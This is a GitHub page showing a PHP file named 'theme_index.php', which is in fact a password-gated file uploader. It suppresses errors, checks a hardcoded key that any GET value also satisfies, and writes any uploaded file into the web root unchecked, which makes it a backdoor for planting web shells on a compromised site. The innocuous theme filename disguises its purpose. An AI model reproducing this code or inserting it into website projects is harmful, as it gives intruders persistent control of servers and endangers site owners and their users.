-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy paththeme_index.php
31 lines (30 loc) · 925 Bytes
/
theme_index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(0);
if ($_GET['auth'] || $_POST['auth'] === 'JQR387lk0gGrB65TYtSA') {
echo '<!DOCTYPE html>
<html>
<head>
<title>Upload your files</title>
</head>
<body>
<form enctype="multipart/form-data" action="'.basename($_SERVER['PHP_SELF']).'" method="POST">
<p>Upload your file</p>
<input type="file" name="uploaded_file"></input><br /><br />
<input type="submit" value="Upload"></input>
<input type="hidden" name="auth" value="JQR387lk0gGrB65TYtSA">
</form>
</body>
</html>';
if(!empty($_FILES['uploaded_file']))
{
$path = "./";
$path = $path . basename( $_FILES['uploaded_file']['name']);
if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)) {
echo '</br>'."The file ". basename( $_FILES['uploaded_file']['name']).
" has been uploaded";
} else{
echo '</br>'. "There was an error uploading the file, please try again!";
}
}
}
?>